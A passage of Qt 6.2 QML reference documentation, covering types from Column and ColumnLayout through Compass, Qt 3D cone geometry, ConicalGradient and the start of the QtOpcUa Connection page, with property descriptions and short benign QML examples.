 * **[positioningComplete](qml-qtquick-column#positioningComplete-signal)**()

 Methods
-------

 * **[forceLayout](qml-qtquick-column#forceLayout-method)**()

 Detailed Description
--------------------

 Column is a type that positions its child items along a single column. It can be used as a convenient way to vertically position a series of items without using [anchors](qtquick-positioning-anchors).

 Below is a Column that contains three rectangles of various sizes:

 
```
Column {
    spacing: 2

    Rectangle { color: "red"; width: 50; height: 50 }
    Rectangle { color: "green"; width: 20; height: 50 }
    Rectangle { color: "blue"; width: 50; height: 20 }
}
```
 The Column automatically positions these items in a vertical formation, like this:

 ![]


If an item within a Column is not [visible](qml-qtquick-item#visible-prop), or if it has a width or height of 0, the item will not be laid out and it will not be visible within the column. Also, since a Column automatically positions its children vertically, a child item within a Column should not set its [y](qml-qtquick-item#y-prop) position or vertically anchor itself using the [top](qml-qtquick-item#anchors.top-prop), [bottom](qml-qtquick-item#anchors.bottom-prop), [anchors.verticalCenter](qml-qtquick-item#anchors.verticalCenter-prop), [fill](qml-qtquick-item#anchors.fill-prop) or [centerIn](qml-qtquick-item#anchors.centerIn-prop) anchors. If you need to perform these actions, consider positioning the items without the use of a Column.

 Note that items in a Column can use the [Positioner](qml-qtquick-positioner) attached property to access more information about its position within the Column.

 For more information on using Column and other related positioner-types, see [Item Positioners](qtquick-positioning-layouts).

 Using Transitions
-----------------

 A Column animate items using specific transitions when items are added to or moved within a Column.

 For example, the Column below sets the [move](qml-qtquick-column#move-prop) property to a specific [Transition](https://doc.qt.io/qt-6.2/qmlexampletoggleswitch.html#transition):

 
```
Column {
    spacing: 2

    Rectangle { color: "red"; width: 50; height: 50 }
    Rectangle { id: greenRect; color: "green"; width: 20; height: 50 }
    Rectangle { color: "blue"; width: 50; height: 20 }

    move: Transition {
        NumberAnimation { properties: "x,y"; duration: 1000 }
    }

    focus: true
    Keys.onSpacePressed: greenRect.visible = !greenRect.visible
}
```
 When the Space key is pressed, the [visible](qml-qtquick-item#visible-prop) value of the green [Rectangle](qml-qtquick-rectangle) is toggled. As it appears and disappears, the blue [Rectangle](qml-qtquick-rectangle) moves within the Column, and the [move](qml-qtquick-column#move-prop) transition is automatically applied to the blue [Rectangle](qml-qtquick-rectangle):


    ![]  
**See also** [Row](qml-qtquick-row), [Grid](qml-qtquick-grid), [Flow](qml-qtquick-flow), [Positioner](qml-qtquick-positioner), [ColumnLayout](qml-qtquick-layouts-columnlayout), and [Qt Quick Examples - Positioners](https://doc.qt.io/qt-6.2/qtquick-positioners-example.html).

 Property Documentation
----------------------

  ###  [since 5.6] bottomPadding : [real](qml-real)

 
These properties hold the padding around the content.

 This QML property was introduced in Qt 5.6.

 ###  add : [Transition](qml-qtquick-transition)

 This property holds the transition to be run for items that are added to this positioner. For a positioner, this applies to:

 * Items that are created or reparented as a child of the positioner after the positioner has been created
* Child items that change their [Item::visible](qml-qtquick-item#visible-prop) property from false to true, and thus are now visible

 The transition can use the [ViewTransition](qml-qtquick-viewtransition) property to access more details about the item that is being added. See the [ViewTransition](qml-qtquick-viewtransition) documentation for more details and examples on using these transitions.

  **Note:** This transition is not applied to the items that are already part of the positioner at the time of its creation. In this case, the [populate](qml-qtquick-column#populate-prop) transition is applied instead.

  **See also** [populate](qml-qtquick-column#populate-prop), [ViewTransition](qml-qtquick-viewtransition), and [Qt Quick Examples - Positioners](https://doc.qt.io/qt-6.2/qtquick-positioners-example.html).

 ###  move : [Transition](qml-qtquick-transition)

 This property holds the transition to run for items that have moved within the positioner. For a positioner, this applies to:

 * Child items that move when they are displaced due to the addition, removal or rearrangement of other items in the positioner
* Child items that are repositioned due to the resizing of other items in the positioner

 The transition can use the [ViewTransition](qml-qtquick-viewtransition) property to access more details about the item that is being moved. Note, however, that for this move transition, the [ViewTransition](qml-qtquick-viewtransition).targetIndexes and [ViewTransition](qml-qtquick-viewtransition).targetItems lists are only set when this transition is triggered by the addition of other items in the positioner; in other cases, these lists will be empty. See the [ViewTransition](qml-qtquick-viewtransition) documentation for more details and examples on using these transitions.

 **See also** [add](qml-qtquick-column#add-prop), [populate](qml-qtquick-column#populate-prop), [ViewTransition](qml-qtquick-viewtransition), and [Qt Quick Examples - Positioners](https://doc.qt.io/qt-6.2/qtquick-positioners-example.html).

 ###  populate : [Transition](qml-qtquick-transition)

 This property holds the transition to be run for items that are part of this positioner at the time of its creation. The transition is run when the positioner is first created.

 The transition can use the [ViewTransition](qml-qtquick-viewtransition) property to access more details about the item that is being added. See the [ViewTransition](qml-qtquick-viewtransition) documentation for more details and examples on using these transitions.

 **See also** [add](qml-qtquick-column#add-prop), [ViewTransition](qml-qtquick-viewtransition), and [Qt Quick Examples - Positioners](https://doc.qt.io/qt-6.2/qtquick-positioners-example.html).

 ###  spacing : [real](qml-real)

 The spacing is the amount in pixels left empty between adjacent items. The default spacing is 0.

 **See also** [Grid::spacing](qml-qtquick-grid#spacing-prop).

 Signal Documentation
--------------------

 ###  `[since 5.9]` positioningComplete()

 This signal is emitted when positioning has been completed.

 **Note:** The corresponding handler is `onPositioningComplete`.

 This signal was introduced in Qt 5.9.

 Method Documentation
--------------------

 ###  `[since 5.9]` forceLayout()

 Column typically positions its children once per frame. This means that inside script blocks it is possible for the underlying children to have changed, but the Column to have not yet been updated accordingly.

 This method forces the Column to immediately respond to any outstanding changes in its children.

 **Note**: methods in general should only be called after the Component has completed.

 This method was introduced in Qt 5.9.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick-column.html>

ColumnLayout QML Type
=====================

 Identical to [GridLayout](qml-qtquick-layouts-gridlayout), but having only one column. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick.Layouts |
|  Inherits: | [Item](qml-qtquick-item) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-layouts-columnlayout-members.html)

 Properties
----------

 * **[layoutDirection](qml-qtquick-layouts-columnlayout#layoutDirection-prop)** : enumeration
* **[spacing](qml-qtquick-layouts-columnlayout#spacing-prop)** : real

 Detailed Description
--------------------

 To be able to use this type more efficiently, it is recommended that you understand the general mechanism of the Qt Quick Layouts module. Refer to [Qt Quick Layouts Overview](https://doc.qt.io/qt-6.2/qtquicklayouts-overview.html) for more information.

 It is available as a convenience for developers, as it offers a cleaner API.

 Items in a ColumnLayout support these attached properties:

 * [Layout.minimumWidth](qml-qtquick-layouts-layout#minimumWidth-attached-prop)
* [Layout.minimumHeight](qml-qtquick-layouts-layout#minimumHeight-attached-prop)
* [Layout.preferredWidth](qml-qtquick-layouts-layout#preferredWidth-attached-prop)
* [Layout.preferredHeight](qml-qtquick-layouts-layout#preferredHeight-attached-prop)
* [Layout.maximumWidth](qml-qtquick-layouts-layout#maximumWidth-attached-prop)
* [Layout.maximumHeight](qml-qtquick-layouts-layout#maximumHeight-attached-prop)
* [Layout.fillWidth](qml-qtquick-layouts-layout#fillWidth-attached-prop)
* [Layout.fillHeight](qml-qtquick-layouts-layout#fillHeight-attached-prop)
* [Layout.alignment](qml-qtquick-layouts-layout#alignment-attached-prop)
* [Layout.margins](qml-qtquick-layouts-layout#margins-attached-prop)
* [Layout.leftMargin](qml-qtquick-layouts-layout#topMargin-attached-prop)
* [Layout.rightMargin](qml-qtquick-layouts-layout#rightMargin-attached-prop)
* [Layout.topMargin](qml-qtquick-layouts-layout#topMargin-attached-prop)
* [Layout.bottomMargin](qml-qtquick-layouts-layout#bottomMargin-attached-prop)

 ![]



```
ColumnLayout{
    spacing: 2

    Rectangle {
        Layout.alignment: Qt.AlignCenter
        color: "red"
        Layout.preferredWidth: 40
        Layout.preferredHeight: 40
    }

    Rectangle {
        Layout.alignment: Qt.AlignRight
        color: "green"
        Layout.preferredWidth: 40
        Layout.preferredHeight: 70
    }

    Rectangle {
        Layout.alignment: Qt.AlignBottom
        Layout.fillHeight: true
        color: "blue"
        Layout.preferredWidth: 70
        Layout.preferredHeight: 40
    }
}
```
 Read more about attached properties [here](qtqml-syntax-objectattributes).

 **See also** [RowLayout](qml-qtquick-layouts-rowlayout), [GridLayout](qml-qtquick-layouts-gridlayout), [StackLayout](qml-qtquick-layouts-stacklayout), [Column](qml-qtquick-column), and [Qt Quick Layouts Overview](https://doc.qt.io/qt-6.2/qtquicklayouts-overview.html).

 Property Documentation
----------------------

 ###  [since QtQuick.Layouts 1.1] layoutDirection : [enumeration](qml-enumeration)

 This property holds the layout direction of the column layout - it controls whether items are laid out from left to right or right to left. If `Qt.RightToLeft` is specified, left-aligned items will be right-aligned and right-aligned items will be left-aligned.

 Possible values:

 * Qt.LeftToRight (default) - Items are laid out from left to right.
* Qt.RightToLeft - Items are laid out from right to left

 This property was introduced in QtQuick.Layouts 1.1.

 **See also** [GridLayout::layoutDirection](qml-qtquick-layouts-gridlayout#layoutDirection-prop) and [RowLayout::layoutDirection](qml-qtquick-layouts-rowlayout#layoutDirection-prop).

 ###  spacing : [real](qml-real)

 This property holds the spacing between each cell. The default value is `5`.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick-layouts-columnlayout.html>

Compass QML Type
================

 The Compass element reports on heading using magnetic north as a reference. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtSensors |
|  Since: |  QtSensors 5.0 |
|  Inherits: | [Sensor](qml-qtsensors-sensor) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtsensors-compass-members.html)

 Detailed Description
--------------------

 The Compass element reports on heading using magnetic north as a reference.

 This element wraps the [QCompass](qcompass) class. Please see the documentation for [QCompass](qcompass) for details.

 **See also** [CompassReading](qml-qtsensors-compassreading).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtsensors-compass.html>

CompassReading QML Type
=======================

 The CompassReading element holds the most recent Compass reading. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtSensors |
|  Since: |  QtSensors 5.0 |
|  Inherits: | [SensorReading](qml-qtsensors-sensorreading) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtsensors-compassreading-members.html)

 Properties
----------

 * **[azimuth](qml-qtsensors-compassreading#azimuth-prop)** : qreal
* **[calibrationLevel](qml-qtsensors-compassreading#calibrationLevel-prop)** : qreal

 Detailed Description
--------------------

 The CompassReading element holds the most recent Compass reading.

 This element wraps the [QCompassReading](qcompassreading) class. Please see the documentation for [QCompassReading](qcompassreading) for details.

 This element cannot be directly created.

 Property Documentation
----------------------

 ###  azimuth : qreal

 This property holds the azimuth of the device.

 Please see [QCompassReading::azimuth](qcompassreading#azimuth-prop) for information about this property.

 ###  calibrationLevel : qreal

 This property holds the calibration level of the reading.

 Please see [QCompassReading::calibrationLevel](qcompassreading#calibrationLevel-prop) for information about this property.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtsensors-compassreading.html>

Component3D QML Type
====================

 Provides the base type for creating Qt 3D components. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import Qt3D.Core |
|  Since: |  Qt 5.5 |
|  Instantiates: | [QComponent](qt3dcore-qcomponent) |
|  Inherits: | [Node](qml-qt3d-core-node) |
|  Inherited By: | [Armature](qml-qt3d-core-armature), [CameraLens](qml-qt3d-render-cameralens), [ComputeCommand](qml-qt3d-render-computecommand), [FrameAction](qml-qt3d-logic-frameaction), [InputSettings](qml-qt3d-input-inputsettings), [KeyboardHandler](qml-qt3d-input-keyboardhandler), [Layer](qml-qt3d-render-layer), [LevelOfDetail](qml-qt3d-render-levelofdetail), [LevelOfDetailBoundingSphere](qml-qt3d-render-levelofdetailboundingsphere), [LevelOfDetailSwitch](qml-qt3d-render-levelofdetailswitch), [PickingProxy](qml-qt3d-render-pickingproxy), and [Transform](qml-qt3d-core-transform) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qt3d-core-component3d-members.html)

 Properties
----------

 * **[isShareable](qml-qt3d-core-component3d#isShareable-prop)** : bool

 Detailed Description
--------------------

 Property Documentation
----------------------

 ###  isShareable : [bool](qml-bool)



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qt3d-core-component3d.html>

ComputeCommand QML Type
=======================

 Component to issue work for the compute shader on GPU. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import Qt3D.Render |
|  Since: |  Qt 5.7 |
|  Instantiates: | [QComputeCommand](qt3drender-qcomputecommand) |
|  Inherits: | [Component3D](qml-qt3d-core-component3d) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qt3d-render-computecommand-members.html)

 Properties
----------

 * **[runType](qml-qt3d-render-computecommand#runType-prop)** : enumeration
* **[workGroupX](qml-qt3d-render-computecommand#workGroupX-prop)** : int
* **[workGroupY](qml-qt3d-render-computecommand#workGroupY-prop)** : int
* **[workGroupZ](qml-qt3d-render-computecommand#workGroupZ-prop)** : int

 Detailed Description
--------------------

 A ComputeCommand is used to issue work for the compute shader. The compute shader is specified in the Material component of the same entity the ComputeCommand is added to. The [workGroupX](qml-qt3d-render-computecommand#workGroupX-prop), [workGroupY](qml-qt3d-render-computecommand#workGroupY-prop) and [workGroupZ](qml-qt3d-render-computecommand#workGroupZ-prop) properties specify the work group sizes for the compute shader invocation. [DispatchCompute](qml-qt3d-render-dispatchcompute) node needs to be present in the FrameGraph to actually issue the commands. The execution behavior of the compute command can be controlled with the run type property.

  **Note:** If the rendering policy is set to [RenderSettings](qml-qt3d-render-rendersettings).OnDemand, the run type is set to Continuous and there are no changes to the scene, the ComputeCommand will not be invoked repeatedly. The [RenderSettings](qml-qt3d-render-rendersettings).Always render policy must be set for the ComputeCommand to be repeatedly invoked if there are no other changes to the scene that triggers rendering a new frame.

  Property Documentation
----------------------

 ###  runType : [enumeration](qml-enumeration)

 Specifies whether the compute command should be performed every frame or manually triggered.

 

| Constant | Description |
| --- | --- |
| `ComputeCommand.Continuous` | Compute command is executed everyframe. This is the default. |
| `ComputeCommand.Manual` | CompouteCommand is executed for a given number of frames and then the component disables itself. |

 ###  workGroupX : [int](qml-int)

 Specifies X workgroup size.

 ###  workGroupY : [int](qml-int)

 Specifies Y workgroup size.

 ###  workGroupZ : [int](qml-int)

 Specifies Z workgroup size.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qt3d-render-computecommand.html>

ConeGeometry QML Type
=====================

 ConeGeometry allows creation of a cone in 3D space. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import Qt3D.Extras |
|  Instantiates: | [QConeGeometry](qt3dextras-qconegeometry) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qt3d-extras-conegeometry-members.html)

 Properties
----------

 * **[bottomRadius](qml-qt3d-extras-conegeometry#bottomRadius-prop)** : real
* **[hasBottomEndcap](qml-qt3d-extras-conegeometry#hasBottomEndcap-prop)** : bool
* **[hasTopEndcap](qml-qt3d-extras-conegeometry#hasTopEndcap-prop)** : bool
* **[indexAttribute](qml-qt3d-extras-conegeometry#indexAttribute-prop)** : Attribute
* **[length](qml-qt3d-extras-conegeometry#length-prop)** : real
* **[normalAttribute](qml-qt3d-extras-conegeometry#normalAttribute-prop)** : Attribute
* **[positionAttribute](qml-qt3d-extras-conegeometry#positionAttribute-prop)** : Attribute
* **[rings](qml-qt3d-extras-conegeometry#rings-prop)** : int
* **[slices](qml-qt3d-extras-conegeometry#slices-prop)** : int
* **[texCoordAttribute](qml-qt3d-extras-conegeometry#texCoordAttribute-prop)** : Attribute
* **[topRadius](qml-qt3d-extras-conegeometry#topRadius-prop)** : real

 Detailed Description
--------------------

 The ConeGeometry type is most commonly used internally by the [ConeMesh](qml-qt3d-extras-conemesh) type but can also be used in custom [GeometryRenderer](qml-qt3d-render-geometryrenderer) types. The ConeGeometry type allows for creation of both a cone and a truncated cone.

 Property Documentation
----------------------

 ###  bottomRadius : [real](qml-real)

 Holds the bottom radius of the cone.

 ###  hasBottomEndcap : [bool](qml-bool)

 Determines if the cone bottom is capped or open.

 ###  hasTopEndcap : [bool](qml-bool)

 Determines if the cone top is capped or open.

 ###  indexAttribute : [Attribute](qml-qt3d-core-attribute)

 Holds the geometry index attribute.

 ###  length : [real](qml-real)

 Holds the length of the cone.

 ###  normalAttribute : [Attribute](qml-qt3d-core-attribute)

 Holds the geometry normal attribute.

 ###  positionAttribute : [Attribute](qml-qt3d-core-attribute)

 Holds the geometry position attribute.

 ###  rings : [int](qml-int)

 Holds the number of rings in the geometry.

 ###  slices : [int](qml-int)

 Holds the number of slices in the geometry.

 ###  texCoordAttribute : [Attribute](qml-qt3d-core-attribute)

 Holds the geometry texture coordinate attribute.

 ###  topRadius : [real](qml-real)

 Holds the top radius of the cone.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qt3d-extras-conegeometry.html>

ConeGeometryView QML Type
=========================

 A conical mesh. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import Qt3D.Extras |
|  Instantiates: | [QConeGeometryView](qt3dextras-qconegeometryview) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qt3d-extras-conegeometryview-members.html)

 Properties
----------

 * **[bottomRadius](qml-qt3d-extras-conegeometryview#bottomRadius-prop)** : real
* **[hasBottomEndcap](qml-qt3d-extras-conegeometryview#hasBottomEndcap-prop)** : bool
* **[hasTopEndcap](qml-qt3d-extras-conegeometryview#hasTopEndcap-prop)** : bool
* **[length](qml-qt3d-extras-conegeometryview#length-prop)** : real
* **[rings](qml-qt3d-extras-conegeometryview#rings-prop)** : int
* **[slices](qml-qt3d-extras-conegeometryview#slices-prop)** : int
* **[topRadius](qml-qt3d-extras-conegeometryview#topRadius-prop)** : real

 Detailed Description
--------------------

 Property Documentation
----------------------

 ###  bottomRadius : [real](qml-real)

 Holds the bottom radius of the cone.

 ###  hasBottomEndcap : [bool](qml-bool)

 Determines if the cone bottom is capped or open.

 ###  hasTopEndcap : [bool](qml-bool)

 Determines if the cone top is capped or open.

 ###  length : [real](qml-real)

 Holds the length of the cone.

 ###  rings : [int](qml-int)

 Holds the number of rings in the mesh.

 ###  slices : [int](qml-int)

 Holds the number of slices in the mesh.

 ###  topRadius : [real](qml-real)

 Holds the top radius of the cone.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qt3d-extras-conegeometryview.html>

ConeMesh QML Type
=================

 A conical mesh. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import Qt3D.Extras |
|  Instantiates: | [QConeMesh](qt3dextras-qconemesh) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qt3d-extras-conemesh-members.html)

 Properties
----------

 * **[bottomRadius](qml-qt3d-extras-conemesh#bottomRadius-prop)** : real
* **[hasBottomEndcap](qml-qt3d-extras-conemesh#hasBottomEndcap-prop)** : bool
* **[hasTopEndcap](qml-qt3d-extras-conemesh#hasTopEndcap-prop)** : bool
* **[length](qml-qt3d-extras-conemesh#length-prop)** : real
* **[rings](qml-qt3d-extras-conemesh#rings-prop)** : int
* **[slices](qml-qt3d-extras-conemesh#slices-prop)** : int
* **[topRadius](qml-qt3d-extras-conemesh#topRadius-prop)** : real

 Detailed Description
--------------------

 Property Documentation
----------------------

 ###  bottomRadius : [real](qml-real)

 Holds the bottom radius of the cone.

 ###  hasBottomEndcap : [bool](qml-bool)

 Determines if the cone bottom is capped or open.

 ###  hasTopEndcap : [bool](qml-bool)

 Determines if the cone top is capped or open.

 ###  length : [real](qml-real)

 Holds the length of the cone.

 ###  rings : [int](qml-int)

 Holds the number of rings in the mesh.

 ###  slices : [int](qml-int)

 Holds the number of slices in the mesh.

 ###  topRadius : [real](qml-real)

 Holds the top radius of the cone.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qt3d-extras-conemesh.html>

ConicalGradient QML Type
========================

 Conical gradient. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick.Shapes |
|  Since: |  Qt 5.10 |
|  Inherits: | [ShapeGradient](qml-qtquick-shapes-shapegradient) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-shapes-conicalgradient-members.html)

 Properties
----------

 * **[angle](qml-qtquick-shapes-conicalgradient#angle-prop)** : real
* **[centerX](qml-qtquick-shapes-conicalgradient#centerX-prop)** : real
* **[centerY](qml-qtquick-shapes-conicalgradient#centerY-prop)** : real

 Detailed Description
--------------------

 Conical gradients interpolate colors counter-clockwise around a center point in Shape items.

  **Note:** The [spread mode](qml-qtquick-shapes-shapegradient#spread-prop) setting has no effect for conical gradients.

   **Note:** ConicalGradient is only supported in combination with Shape items. It is not compatible with [Rectangle](qml-qtquick-rectangle), as that only supports [Gradient](qml-qtquick-gradient).

  **See also** [QConicalGradient](qconicalgradient).

 Property Documentation
----------------------

  ###  centerX : [real](qml-real)

 
These properties define the center point of the conical gradient.

 ###  angle : [real](qml-real)

 This property defines the start angle for the conical gradient. The value is in degrees (0-360).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick-shapes-conicalgradient.html>

ConicalGradient QML Type
========================

 Draws a conical gradient. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import Qt5Compat.GraphicalEffects |
|  Since: |  QtGraphicalEffects 1.0 |
|  Inherits: | [Item](qml-qtquick-item) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qt5compat-graphicaleffects-conicalgradient-members.html)

 Properties
----------

 * **[angle](qml-qt5compat-graphicaleffects-conicalgradient#angle-prop)** : real
* **[cached](qml-qt5compat-graphicaleffects-conicalgradient#cached-prop)** : bool
* **[gradient](qml-qt5compat-graphicaleffects-conicalgradient#gradient-prop)** : Gradient
* **[horizontalOffset](qml-qt5compat-graphicaleffects-conicalgradient#horizontalOffset-prop)** : real
* **[source](qml-qt5compat-graphicaleffects-conicalgradient#source-prop)** : variant
* **[verticalOffset](qml-qt5compat-graphicaleffects-conicalgradient#verticalOffset-prop)** : real

 Detailed Description
--------------------

 A gradient is defined by two or more colors, which are blended seamlessly. The colors start from the specified angle and end at 360 degrees larger angle value.

 

| Effect applied |
| --- |
|  |

 Example
-------

 The following example shows how to apply the effect.

 
```
import QtQuick
import Qt5Compat.GraphicalEffects

Item {
    width: 300
    height: 300

    ConicalGradient {
        anchors.fill: parent
        angle: 0.0
        gradient: Gradient {
            GradientStop { position: 0.0; color: "white" }
            GradientStop { position: 1.0; color: "black" }
        }
    }
}
```
 Property Documentation
----------------------

 ###  angle : [real](qml-real)

 This property defines the starting angle where the color at the gradient position of 0.0 is rendered. Colors at larger position values are rendered into larger angle values and blended seamlessly. Angle values increase clockwise.

 

| Output examples with different angle values |  |  |
| --- | --- | --- |
|  |  |  |
|  **angle: 0**  |  **angle: 45**  |  **angle: 185**  |
| [horizontalOffset](qml-qt5compat-graphicaleffects-conicalgradient#horizontalOffset-prop): 0 | [horizontalOffset](qml-qt5compat-graphicaleffects-conicalgradient#horizontalOffset-prop): 0 | [horizontalOffset](qml-qt5compat-graphicaleffects-conicalgradient#horizontalOffset-prop): 0 |
| [verticalOffset](qml-qt5compat-graphicaleffects-conicalgradient#verticalOffset-prop): 0 | [verticalOffset](qml-qt5compat-graphicaleffects-conicalgradient#verticalOffset-prop): 0 | [verticalOffset](qml-qt5compat-graphicaleffects-conicalgradient#verticalOffset-prop): 0 |

 ###  cached : [bool](qml-bool)

 This property allows the effect output pixels to be cached in order to improve the rendering performance.

 Every time the source or effect properties are changed, the pixels in the cache must be updated. Memory consumption is increased, because an extra buffer of memory is required for storing the effect output.

 It is recommended to disable the cache when the source or the effect properties are animated.

 By default, the property is set to `false`.

 ###  gradient : [Gradient](qml-qtquick-gradient)

 A gradient is defined by two or more colors, which are blended seamlessly. The colors are specified as a set of [GradientStop](qml-qtquick-gradientstop) child items, each of which defines a position on the gradient (from 0.0 to 1.0), and a color. The position of each [GradientStop](qml-qtquick-gradientstop) is defined by the position property. The color is defined by the color property.

 

| Output examples with different gradient values |  |  |
| --- | --- | --- |
|  |  |  |
| **gradient:**
```
Gradient {
  GradientStop {
     position: 0.000
     color: Qt.rgba(1, 0, 0, 1)
  }
  GradientStop {
     position: 0.167
     color: Qt.rgba(1, 1, 0, 1)
  }
  GradientStop {
     position: 0.333
     color: Qt.rgba(0, 1, 0, 1)
  }
  GradientStop {
     position: 0.500
     color: Qt.rgba(0, 1, 1, 1)
  }
  GradientStop {
     position: 0.667
     color: Qt.rgba(0, 0, 1, 1)
  }
  GradientStop {
     position: 0.833
     color: Qt.rgba(1, 0, 1, 1)
  }
  GradientStop {
     position: 1.000
     color: Qt.rgba(1, 0, 0, 1)
  }
}
```
 | **gradient:**
```
Gradient {
  GradientStop {
     position: 0.0
     color: "#F0F0F0"
  }
  GradientStop {
     position: 0.5
     color: "#000000"
  }
  GradientStop {
     position: 1.0
     color: "#F0F0F0"
  }
}
```
 | **gradient:**
```
Gradient {
  GradientStop {
     position: 0.0
     color: "#00000000"
  }
  GradientStop {
    position: 1.0
    color: "#FF000000"
  }
}
```
 |
| [angle](qml-qt5compat-graphicaleffects-conicalgradient#angle-prop): 0 | [angle](qml-qt5compat-graphicaleffects-conicalgradient#angle-prop): 0 | [angle](qml-qt5compat-graphicaleffects-conicalgradient#angle-prop): 0 |
| [horizontalOffset](qml-qt5compat-graphicaleffects-conicalgradient#horizontalOffset-prop): 0 | [horizontalOffset](qml-qt5compat-graphicaleffects-conicalgradient#horizontalOffset-prop): 0 | [horizontalOffset](qml-qt5compat-graphicaleffects-conicalgradient#horizontalOffset-prop): 0 |
| [verticalOffset](qml-qt5compat-graphicaleffects-conicalgradient#verticalOffset-prop): 0 | [verticalOffset](qml-qt5compat-graphicaleffects-conicalgradient#verticalOffset-prop): 0 | [verticalOffset](qml-qt5compat-graphicaleffects-conicalgradient#verticalOffset-prop): 0 |

 ###  horizontalOffset : [real](qml-real)

 The horizontalOffset and [verticalOffset](qml-qt5compat-graphicaleffects-conicalgradient#verticalOffset-prop) properties define the offset in pixels for the center point of the gradient compared to the item center.

 The value ranges from -inf to inf. By default, the properties are set to `0`.

 

| Output examples with different horizontalOffset values |  |  |
| --- | --- | --- |
|  |  |  |
|  **horizontalOffset: -50**  |  **horizontalOffset: 0**  |  **horizontalOffset: 50**  |
| [angle](qml-qt5compat-graphicaleffects-conicalgradient#angle-prop): 0 | [angle](qml-qt5compat-graphicaleffects-conicalgradient#angle-prop): 0 | [angle](qml-qt5compat-graphicaleffects-conicalgradient#angle-prop): 0 |
| [verticalOffset](qml-qt5compat-graphicaleffects-conicalgradient#verticalOffset-prop): 0 | [verticalOffset](qml-qt5compat-graphicaleffects-conicalgradient#verticalOffset-prop): 0 | [verticalOffset](qml-qt5compat-graphicaleffects-conicalgradient#verticalOffset-prop): 0 |

 ###  source : variant

 This property defines the item that is going to be filled with gradient. Source item gets rendered into an intermediate pixel buffer and the alpha values from the result are used to determine the gradient's pixels visibility in the display. The default value for source is undefined and in that case whole effect area is filled with gradient.

 

| Output examples with different source values |  |
| --- | --- |
|  |  |
|  **source: undefined**  |  **source:**  |
| [angle](qml-qt5compat-graphicaleffects-conicalgradient#angle-prop): 0 | [angle](qml-qt5compat-graphicaleffects-conicalgradient#angle-prop): 0 |
| [horizontalOffset](qml-qt5compat-graphicaleffects-conicalgradient#horizontalOffset-prop): 0 | [horizontalOffset](qml-qt5compat-graphicaleffects-conicalgradient#horizontalOffset-prop): 0 |
| [verticalOffset](qml-qt5compat-graphicaleffects-conicalgradient#verticalOffset-prop): 0 | [verticalOffset](qml-qt5compat-graphicaleffects-conicalgradient#verticalOffset-prop): 0 |

  **Note:** It is not supported to let the effect include itself, for instance by setting source to the effect's parent.

  ###  verticalOffset : [real](qml-real)

 The [horizontalOffset](qml-qt5compat-graphicaleffects-conicalgradient#horizontalOffset-prop) and verticalOffset properties define the offset in pixels for the center point of the gradient compared to the item center.

 The value ranges from -inf to inf. By default, the properties are set to `0`.

 

| Output examples with different [horizontalOffset](qml-qt5compat-graphicaleffects-conicalgradient#horizontalOffset-prop) values |  |  |
| --- | --- | --- |
|  |  |  |
|  **[horizontalOffset](qml-qt5compat-graphicaleffects-conicalgradient#horizontalOffset-prop): -50**  |  **[horizontalOffset](qml-qt5compat-graphicaleffects-conicalgradient#horizontalOffset-prop): 0**  |  **[horizontalOffset](qml-qt5compat-graphicaleffects-conicalgradient#horizontalOffset-prop): 50**  |
| [angle](qml-qt5compat-graphicaleffects-conicalgradient#angle-prop): 0 | [angle](qml-qt5compat-graphicaleffects-conicalgradient#angle-prop): 0 | [angle](qml-qt5compat-graphicaleffects-conicalgradient#angle-prop): 0 |
| verticalOffset: 0 | verticalOffset: 0 | verticalOffset: 0 |



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qt5compat-graphicaleffects-conicalgradient.html>

Connection QML Type
===================

 Connects to a server. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtOpcUa |
|  Since: |  QtOpcUa 5.12 |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtopcua-connection-members.html)

 Properties
----------

 * **[authenticationInformation](qml-qtopcua-connection#authenticationInformation-prop)** : AuthenticationInformation
* **[availableBackends](qml-qtopcua-connection#availableBackends-prop)** : stringlist
